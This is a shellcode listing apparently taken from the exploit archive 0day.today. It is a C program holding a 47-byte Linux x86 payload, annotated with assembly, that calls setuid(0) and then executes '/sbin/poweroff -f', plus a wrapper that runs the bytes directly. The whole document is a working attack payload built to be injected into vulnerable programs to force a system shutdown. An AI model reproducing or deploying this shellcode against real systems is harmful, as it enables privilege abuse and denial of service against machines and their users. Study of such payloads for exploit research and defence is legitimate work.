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linux/x86 setuid(0) & execve("/sbin/poweroff -f") 47 bytes
[==========================================================
linux/x86 setuid(0) & execve("/sbin/poweroff -f") 47 bytes
==========================================================
#include <stdio.h>
/*
linux/x86 ; setuid(0) & execve("/sbin/poweroff -f") 47 bytes
written by ka0x
lun sep 21 16:40:16 CEST 2009
*/
int main()
{
char shellcode[] =
"\x31\xdb" // xor ebx,ebx
"\x6a\x17" // push byte 0x17
"\x58" // pop eax
"\xcd\x80" // int 80h
"\x8d\x43\x0b" // lea eax,[ebx+0xb]
"\x99" // cdq
"\x52" // push edx
"\x66\x68\x66\x66" // push word 0x6666
"\x68\x77\x65\x72\x6f" // push dword 0x6f726577
"\x68\x6e\x2f\x70\x6f" // push dword 0x6f702f6e
"\x68\x2f\x73\x62\x69" // push dword 0x6962732f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x66\x68\x2d\x66" // push word 0x662d
"\x89\xe1" // mov ecx,esp
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
(*(void(*)()) shellcode)();
return 0;
}
# 0day.today [2024-11-14] #